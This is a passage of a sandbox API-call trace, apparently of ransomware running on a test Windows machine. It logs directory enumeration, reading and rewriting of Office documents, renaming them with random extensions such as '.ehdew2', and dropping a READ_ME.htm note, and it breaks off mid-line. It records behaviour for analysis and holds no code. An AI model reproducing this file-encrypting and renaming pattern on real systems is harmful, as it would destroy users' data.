ftLastAccessTime.dwHighDateTime=0x1d8bcf1, ftLastWriteTime.dwLowDateTime=0xc0f40f30, ftLastWriteTime.dwHighDateTime=0x1d8bcf1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0153.766] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x863fd30, ftCreationTime.dwHighDateTime=0x1d8bcb6, ftLastAccessTime.dwLowDateTime=0xc0f40f30, ftLastAccessTime.dwHighDateTime=0x1d8bcf1, ftLastWriteTime.dwLowDateTime=0xc0f40f30, ftLastWriteTime.dwHighDateTime=0x1d8bcf1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0153.766] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea618bc0, ftCreationTime.dwHighDateTime=0x1d8bfa5, ftLastAccessTime.dwLowDateTime=0x20b67a0, ftLastAccessTime.dwHighDateTime=0x1d8c078, ftLastWriteTime.dwLowDateTime=0x20b67a0, ftLastWriteTime.dwHighDateTime=0x1d8c078, nFileSizeHigh=0x0, nFileSizeLow=0x177d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="6RjpQT8xrF.xls", cAlternateFileName="6RJPQT~1.XLS")) returned 1 [0153.766] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36379220, ftCreationTime.dwHighDateTime=0x1d8b1b8, ftLastAccessTime.dwLowDateTime=0x6ea6fd20, ftLastAccessTime.dwHighDateTime=0x1d8bd3a, ftLastWriteTime.dwLowDateTime=0x6ea6fd20, ftLastWriteTime.dwHighDateTime=0x1d8bd3a, nFileSizeHigh=0x0, nFileSizeLow=0x754a, dwReserved0=0x0, dwReserved1=0x0, cFileName="eUc2ZnHoSmyslPJGT.docx", cAlternateFileName="EUC2ZN~1.DOC")) returned 1 [0153.766] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x887ac1f0, ftCreationTime.dwHighDateTime=0x1d8bf8d, ftLastAccessTime.dwLowDateTime=0x1007eeb0, ftLastAccessTime.dwHighDateTime=0x1d8c11c, ftLastWriteTime.dwLowDateTime=0x1007eeb0, ftLastWriteTime.dwHighDateTime=0x1d8c11c, nFileSizeHigh=0x0, nFileSizeLow=0xe9a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="HMpXptYobRhZsJahy.pps", cAlternateFileName="HMPXPT~1.PPS")) returned 1 [0153.766] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x887ac1f0, ftCreationTime.dwHighDateTime=0x1d8bf8d, ftLastAccessTime.dwLowDateTime=0x1007eeb0, ftLastAccessTime.dwHighDateTime=0x1d8c11c, ftLastWriteTime.dwLowDateTime=0x1007eeb0, ftLastWriteTime.dwHighDateTime=0x1d8c11c, nFileSizeHigh=0x0, nFileSizeLow=0xe9a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="HMpXptYobRhZsJahy.pps", cAlternateFileName="HMPXPT~1.PPS")) returned 0 [0153.766] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0153.767] SetErrorMode (uMode=0x0) returned 0x1 [0153.767] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\QblbR", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\QblbR", lpFilePart=0x0) returned 0x22 [0153.767] SetErrorMode (uMode=0x1) returned 0x0 [0153.767] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\QblbR\\*" (normalized: "c:\\users\\keecfmwgj\\documents\\qblbr\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x863fd30, ftCreationTime.dwHighDateTime=0x1d8bcb6, ftLastAccessTime.dwLowDateTime=0xc0f40f30, ftLastAccessTime.dwHighDateTime=0x1d8bcf1, ftLastWriteTime.dwLowDateTime=0xc0f40f30, ftLastWriteTime.dwHighDateTime=0x1d8bcf1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0153.767] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x863fd30, ftCreationTime.dwHighDateTime=0x1d8bcb6, ftLastAccessTime.dwLowDateTime=0xc0f40f30, ftLastAccessTime.dwHighDateTime=0x1d8bcf1, ftLastWriteTime.dwLowDateTime=0xc0f40f30, ftLastWriteTime.dwHighDateTime=0x1d8bcf1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0153.768] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea618bc0, ftCreationTime.dwHighDateTime=0x1d8bfa5, ftLastAccessTime.dwLowDateTime=0x20b67a0, ftLastAccessTime.dwHighDateTime=0x1d8c078, ftLastWriteTime.dwLowDateTime=0x20b67a0, ftLastWriteTime.dwHighDateTime=0x1d8c078, nFileSizeHigh=0x0, nFileSizeLow=0x177d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="6RjpQT8xrF.xls", cAlternateFileName="6RJPQT~1.XLS")) returned 1 [0153.768] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36379220, ftCreationTime.dwHighDateTime=0x1d8b1b8, ftLastAccessTime.dwLowDateTime=0x6ea6fd20, ftLastAccessTime.dwHighDateTime=0x1d8bd3a, ftLastWriteTime.dwLowDateTime=0x6ea6fd20, ftLastWriteTime.dwHighDateTime=0x1d8bd3a, nFileSizeHigh=0x0, nFileSizeLow=0x754a, dwReserved0=0x0, dwReserved1=0x0, cFileName="eUc2ZnHoSmyslPJGT.docx", cAlternateFileName="EUC2ZN~1.DOC")) returned 1 [0153.768] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x887ac1f0, ftCreationTime.dwHighDateTime=0x1d8bf8d, ftLastAccessTime.dwLowDateTime=0x1007eeb0, ftLastAccessTime.dwHighDateTime=0x1d8c11c, ftLastWriteTime.dwLowDateTime=0x1007eeb0, ftLastWriteTime.dwHighDateTime=0x1d8c11c, nFileSizeHigh=0x0, nFileSizeLow=0xe9a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="HMpXptYobRhZsJahy.pps", cAlternateFileName="HMPXPT~1.PPS")) returned 1 [0153.768] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x887ac1f0, ftCreationTime.dwHighDateTime=0x1d8bf8d, ftLastAccessTime.dwLowDateTime=0x1007eeb0, ftLastAccessTime.dwHighDateTime=0x1d8c11c, ftLastWriteTime.dwLowDateTime=0x1007eeb0, ftLastWriteTime.dwHighDateTime=0x1d8c11c, nFileSizeHigh=0x0, nFileSizeLow=0xe9a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="HMpXptYobRhZsJahy.pps", cAlternateFileName="HMPXPT~1.PPS")) returned 0 [0153.768] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0153.768] SetErrorMode (uMode=0x0) returned 0x1 [0153.769] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\QblbR\\6RjpQT8xrF.xls", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\QblbR\\6RjpQT8xrF.xls", lpFilePart=0x0) returned 0x31 [0153.769] SetErrorMode (uMode=0x1) returned 0x0 [0153.769] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\QblbR\\6RjpQT8xrF.xls" (normalized: "c:\\users\\keecfmwgj\\documents\\qblbr\\6rjpqt8xrf.xls"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0153.769] GetFileType (hFile=0x1d0) returned 0x1 [0153.769] SetErrorMode (uMode=0x0) returned 0x1 [0153.769] GetFileType (hFile=0x1d0) returned 0x1 [0153.769] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d538 | out: lpFileSizeHigh=0x21d538*=0x0) returned 0x177d7 [0153.808] ReadFile (in: hFile=0x1d0, lpBuffer=0x127c0ba0, nNumberOfBytesToRead=0x177d7, lpNumberOfBytesRead=0x21d418, lpOverlapped=0x0 | out: lpBuffer=0x127c0ba0*, lpNumberOfBytesRead=0x21d418*=0x177d7, lpOverlapped=0x0) returned 1 [0153.810] CloseHandle (hObject=0x1d0) returned 1 [0154.183] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\QblbR\\6RjpQT8xrF.xls", nBufferLength=0x105, lpBuffer=0x21cee0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\QblbR\\6RjpQT8xrF.xls", lpFilePart=0x0) returned 0x31 [0154.183] SetErrorMode (uMode=0x1) returned 0x0 [0154.184] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\QblbR\\6RjpQT8xrF.xls" (normalized: "c:\\users\\keecfmwgj\\documents\\qblbr\\6rjpqt8xrf.xls"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0154.186] GetFileType (hFile=0x1d0) returned 0x1 [0154.186] SetErrorMode (uMode=0x0) returned 0x1 [0154.186] GetFileType (hFile=0x1d0) returned 0x1 [0154.186] WriteFile (in: hFile=0x1d0, lpBuffer=0x12836378*, nNumberOfBytesToWrite=0x177e0, lpNumberOfBytesWritten=0x21d498, lpOverlapped=0x0 | out: lpBuffer=0x12836378*, lpNumberOfBytesWritten=0x21d498*=0x177e0, lpOverlapped=0x0) returned 1 [0154.189] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\QblbR\\6RjpQT8xrF.xls", nBufferLength=0x105, lpBuffer=0x21d170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\QblbR\\6RjpQT8xrF.xls", lpFilePart=0x0) returned 0x31 [0154.189] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\QblbR\\6RjpQT8xrF.xls.ehdew2", nBufferLength=0x105, lpBuffer=0x21d170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\QblbR\\6RjpQT8xrF.xls.ehdew2", lpFilePart=0x0) returned 0x38 [0154.189] SetErrorMode (uMode=0x1) returned 0x0 [0154.189] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\QblbR\\6RjpQT8xrF.xls" (normalized: "c:\\users\\keecfmwgj\\documents\\qblbr\\6rjpqt8xrf.xls"), fInfoLevelId=0x0, lpFileInformation=0x21d3c0 | out: lpFileInformation=0x21d3c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea618bc0, ftCreationTime.dwHighDateTime=0x1d8bfa5, ftLastAccessTime.dwLowDateTime=0x20b67a0, ftLastAccessTime.dwHighDateTime=0x1d8c078, ftLastWriteTime.dwLowDateTime=0x586164e0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x177e0)) returned 1 [0154.190] SetErrorMode (uMode=0x0) returned 0x1 [0154.190] MoveFileW (lpExistingFileName="C:\\Users\\kEecfMwgj\\Documents\\QblbR\\6RjpQT8xrF.xls" (normalized: "c:\\users\\keecfmwgj\\documents\\qblbr\\6rjpqt8xrf.xls"), lpNewFileName="C:\\Users\\kEecfMwgj\\Documents\\QblbR\\6RjpQT8xrF.xls.ehdew2" (normalized: "c:\\users\\keecfmwgj\\documents\\qblbr\\6rjpqt8xrf.xls.ehdew2")) returned 1 [0154.191] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\QblbR\\eUc2ZnHoSmyslPJGT.docx", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\QblbR\\eUc2ZnHoSmyslPJGT.docx", lpFilePart=0x0) returned 0x39 [0154.191] SetErrorMode (uMode=0x1) returned 0x0 [0154.191] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\QblbR\\eUc2ZnHoSmyslPJGT.docx" (normalized: "c:\\users\\keecfmwgj\\documents\\qblbr\\euc2znhosmyslpjgt.docx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0154.191] GetFileType (hFile=0x1d0) returned 0x1 [0154.191] SetErrorMode (uMode=0x0) returned 0x1 [0154.191] GetFileType (hFile=0x1d0) returned 0x1 [0154.191] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d538 | out: lpFileSizeHigh=0x21d538*=0x0) returned 0x754a [0154.191] ReadFile (in: hFile=0x1d0, lpBuffer=0x28f3b90, nNumberOfBytesToRead=0x754a, lpNumberOfBytesRead=0x21d418, lpOverlapped=0x0 | out: lpBuffer=0x28f3b90*, lpNumberOfBytesRead=0x21d418*=0x754a, lpOverlapped=0x0) returned 1 [0154.216] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\QblbR\\eUc2ZnHoSmyslPJGT.docx", nBufferLength=0x105, lpBuffer=0x21cee0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\QblbR\\eUc2ZnHoSmyslPJGT.docx", lpFilePart=0x0) returned 0x39 [0154.216] SetErrorMode (uMode=0x1) returned 0x0 [0154.216] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\QblbR\\eUc2ZnHoSmyslPJGT.docx" (normalized: "c:\\users\\keecfmwgj\\documents\\qblbr\\euc2znhosmyslpjgt.docx"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0154.218] GetFileType (hFile=0x1d0) returned 0x1 [0154.218] SetErrorMode (uMode=0x0) returned 0x1 [0154.218] GetFileType (hFile=0x1d0) returned 0x1 [0154.218] WriteFile (in: hFile=0x1d0, lpBuffer=0x29f8128*, nNumberOfBytesToWrite=0x7550, lpNumberOfBytesWritten=0x21d498, lpOverlapped=0x0 | out: lpBuffer=0x29f8128*, lpNumberOfBytesWritten=0x21d498*=0x7550, lpOverlapped=0x0) returned 1 [0154.220] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\QblbR\\eUc2ZnHoSmyslPJGT.docx", nBufferLength=0x105, lpBuffer=0x21d170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\QblbR\\eUc2ZnHoSmyslPJGT.docx", lpFilePart=0x0) returned 0x39 [0154.220] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\QblbR\\eUc2ZnHoSmyslPJGT.docx.5vq8c1", nBufferLength=0x105, lpBuffer=0x21d170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\QblbR\\eUc2ZnHoSmyslPJGT.docx.5vq8c1", lpFilePart=0x0) returned 0x40 [0154.220] SetErrorMode (uMode=0x1) returned 0x0 [0154.220] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\QblbR\\eUc2ZnHoSmyslPJGT.docx" (normalized: "c:\\users\\keecfmwgj\\documents\\qblbr\\euc2znhosmyslpjgt.docx"), fInfoLevelId=0x0, lpFileInformation=0x21d3c0 | out: lpFileInformation=0x21d3c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36379220, ftCreationTime.dwHighDateTime=0x1d8b1b8, ftLastAccessTime.dwLowDateTime=0x6ea6fd20, ftLastAccessTime.dwHighDateTime=0x1d8bd3a, ftLastWriteTime.dwLowDateTime=0x586627a0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x7550)) returned 1 [0154.220] SetErrorMode (uMode=0x0) returned 0x1 [0154.221] MoveFileW (lpExistingFileName="C:\\Users\\kEecfMwgj\\Documents\\QblbR\\eUc2ZnHoSmyslPJGT.docx" (normalized: "c:\\users\\keecfmwgj\\documents\\qblbr\\euc2znhosmyslpjgt.docx"), lpNewFileName="C:\\Users\\kEecfMwgj\\Documents\\QblbR\\eUc2ZnHoSmyslPJGT.docx.5vq8c1" (normalized: "c:\\users\\keecfmwgj\\documents\\qblbr\\euc2znhosmyslpjgt.docx.5vq8c1")) returned 1 [0154.223] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\QblbR\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cef0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\QblbR\\READ_ME.htm", lpFilePart=0x0) returned 0x2e [0154.223] SetErrorMode (uMode=0x1) returned 0x0 [0154.223] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\QblbR\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\documents\\qblbr\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0154.224] GetFileType (hFile=0x1d0) returned 0x1 [0154.224] SetErrorMode (uMode=0x0) returned 0x1 [0154.224] GetFileType (hFile=0x1d0) returned 0x1 [0154.224] WriteFile (in: hFile=0x1d0, lpBuffer=0x2a037c8*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d458, lpOverlapped=0x0 | out: lpBuffer=0x2a037c8*, lpNumberOfBytesWritten=0x21d458*=0x720, lpOverlapped=0x0) returned 1 [0154.290] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\QrYACtUpnNIFjM0C3", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\QrYACtUpnNIFjM0C3", lpFilePart=0x0) returned 0x2e [0154.290] SetErrorMode (uMode=0x1) returned 0x0 [0154.290] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\QrYACtUpnNIFjM0C3\\*" (normalized: "c:\\users\\keecfmwgj\\documents\\qryactupnnifjm0c3\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1aef1250, ftCreationTime.dwHighDateTime=0x1d8bef5, ftLastAccessTime.dwLowDateTime=0x2bc8f040, ftLastAccessTime.dwHighDateTime=0x1d8c0cc, ftLastWriteTime.dwLowDateTime=0x2bc8f040, ftLastWriteTime.dwHighDateTime=0x1d8c0cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0154.291] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1aef1250, ftCreationTime.dwHighDateTime=0x1d8bef5, ftLastAccessTime.dwLowDateTime=0x2bc8f040, ftLastAccessTime.dwHighDateTime=0x1d8c0cc, ftLastWriteTime.dwLowDateTime=0x2bc8f040, ftLastWriteTime.dwHighDateTime=0x1d8c0cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0154.291] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa87e43b0, ftCreationTime.dwHighDateTime=0x1d8b24e, ftLastAccessTime.dwLowDateTime=0xb15934b0, ftLastAccessTime.dwHighDateTime=0x1d8b279, ftLastWriteTime.dwLowDateTime=0xb15934b0, ftLastWriteTime.dwHighDateTime=0x1d8b279, nFileSizeHigh=0x0, nFileSizeLow=0xf853, dwReserved0=0x0, dwReserved1=0x0, cFileName="FNdW88lf7ZP59.pptx", cAlternateFileName="FNDW88~1.PPT")) returned 1 [0154.291] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6f7c3b20, ftCreationTime.dwHighDateTime=0x1d8bb50, ftLastAccessTime.dwLowDateTime=0x207a5d90, ftLastAccessTime.dwHighDateTime=0x1d8bc77, ftLastWriteTime.dwLowDateTime=0x207a5d90, ftLastWriteTime.dwHighDateTime=0x1d8bc77, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IxduRASNn8AU-s", cAlternateFileName="IXDURA~1")) returned 1 [0154.291] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d555fd0, ftCreationTime.dwHighDateTime=0x1d8b314, ftLastAccessTime.dwLowDateTime=0x627d4ff0, ftLastAccessTime.dwHighDateTime=0x1d8bf78, ftLastWriteTime.dwLowDateTime=0x627d4ff0, ftLastWriteTime.dwHighDateTime=0x1d8bf78, nFileSizeHigh=0x0, nFileSizeLow=0x16cd, dwReserved0=0x0, dwReserved1=0x0, cFileName="Jv0SAr5VWfTBsdeEpeEk.odt", cAlternateFileName="JV0SAR~1.ODT")) returned 1 [0154.291] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d555fd0, ftCreationTime.dwHighDateTime=0x1d8b314, ftLastAccessTime.dwLowDateTime=0x627d4ff0, ftLastAccessTime.dwHighDateTime=0x1d8bf78, ftLastWriteTime.dwLowDateTime=0x627d4ff0, ftLastWriteTime.dwHighDateTime=0x1d8bf78, nFileSizeHigh=0x0, nFileSizeLow=0x16cd, dwReserved0=0x0, dwReserved1=0x0, cFileName="Jv0SAr5VWfTBsdeEpeEk.odt", cAlternateFileName="JV0SAR~1.ODT")) returned 0 [0154.291] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0154.291] SetErrorMode (uMode=0x0) returned 0x1 [0154.291] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\QrYACtUpnNIFjM0C3", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\QrYACtUpnNIFjM0C3", lpFilePart=0x0) returned 0x2e [0154.292] SetErrorMode (uMode=0x1) returned 0x0 [0154.292] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\QrYACtUpnNIFjM0C3\\*" (normalized: "c:\\users\\keecfmwgj\\documents\\qryactupnnifjm0c3\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1aef1250, ftCreationTime.dwHighDateTime=0x1d8bef5, ftLastAccessTime.dwLowDateTime=0x2bc8f040, ftLastAccessTime.dwHighDateTime=0x1d8c0cc, ftLastWriteTime.dwLowDateTime=0x2bc8f040, ftLastWriteTime.dwHighDateTime=0x1d8c0cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0154.292] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1aef1250, ftCreationTime.dwHighDateTime=0x1d8bef5, ftLastAccessTime.dwLowDateTime=0x2bc8f040, ftLastAccessTime.dwHighDateTime=0x1d8c0cc, ftLastWriteTime.dwLowDateTime=0x2bc8f040, ftLastWriteTime.dwHighDateTime=0x1d8c0cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0154.292] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa87e43b0, ftCreationTime.dwHighDateTime=0x1d8b24e, ftLastAccessTime.dwLowDateTime=0xb15934b0, ftLastAccessTime.dwHighDateTime=0x1d8b279, ftLastWriteTime.dwLowDateTime=0xb15934b0, ftLastWriteTime.dwHighDateTime=0x1d8b279, nFileSizeHigh=0x0, nFileSizeLow=0xf853, dwReserved0=0x0, dwReserved1=0x0, cFileName="FNdW88lf7ZP59.pptx", cAlternateFileName="FNDW88~1.PPT")) returned 1 [0154.292] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6f7c3b20, ftCreationTime.dwHighDateTime=0x1d8bb50, ftLastAccessTime.dwLowDateTime=0x207a5d90, ftLastAccessTime.dwHighDateTime=0x1d8bc77, ftLastWriteTime.dwLowDateTime=0x207a5d90, ftLastWriteTime.dwHighDateTime=0x1d8bc77, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IxduRASNn8AU-s", cAlternateFileName="IXDURA~1")) returned 1 [0154.292] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d555fd0, ftCreationTime.dwHighDateTime=0x1d8b314, ftLastAccessTime.dwLowDateTime=0x627d4ff0, ftLastAccessTime.dwHighDateTime=0x1d8bf78, ftLastWriteTime.dwLowDateTime=0x627d4ff0, ftLastWriteTime.dwHighDateTime=0x1d8bf78, nFileSizeHigh=0x0, nFileSizeLow=0x16cd, dwReserved0=0x0, dwReserved1=0x0, cFileName="Jv0SAr5VWfTBsdeEpeEk.odt", cAlternateFileName="JV0SAR~1.ODT")) returned 1 [0154.292] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d555fd0, ftCreationTime.dwHighDateTime=0x1d8b314, ftLastAccessTime.dwLowDateTime=0x627d4ff0, ftLastAccessTime.dwHighDateTime=0x1d8bf78, ftLastWriteTime.dwLowDateTime=0x627d4ff0, ftLastWriteTime.dwHighDateTime=0x1d8bf78, nFileSizeHigh=0x0, nFileSizeLow=0x16cd, dwReserved0=0x0, dwReserved1=0x0, cFileName="Jv0SAr5VWfTBsdeEpeEk.odt", cAlternateFileName="JV0SAR~1.ODT")) returned 0 [0154.292] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0154.293] SetErrorMode (uMode=0x0) returned 0x1 [0154.293] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\QrYACtUpnNIFjM0C3\\FNdW88lf7ZP59.pptx", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\QrYACtUpnNIFjM0C3\\FNdW88lf7ZP59.pptx", lpFilePart=0x0) returned 0x41 [0154.293] SetErrorMode (uMode=0x1) returned 0x0 [0154.293] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\QrYACtUpnNIFjM0C3\\FNdW88lf7ZP59.pptx" (normalized: "c:\\users\\keecfmwgj\\documents\\qryactupnnifjm0c3\\fndw88lf7zp59.pptx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0154.293] GetFileType (hFile=0x1d0) returned 0x1 [0154.293] SetErrorMode (uMode=0x0) returned 0x1 [0154.293] 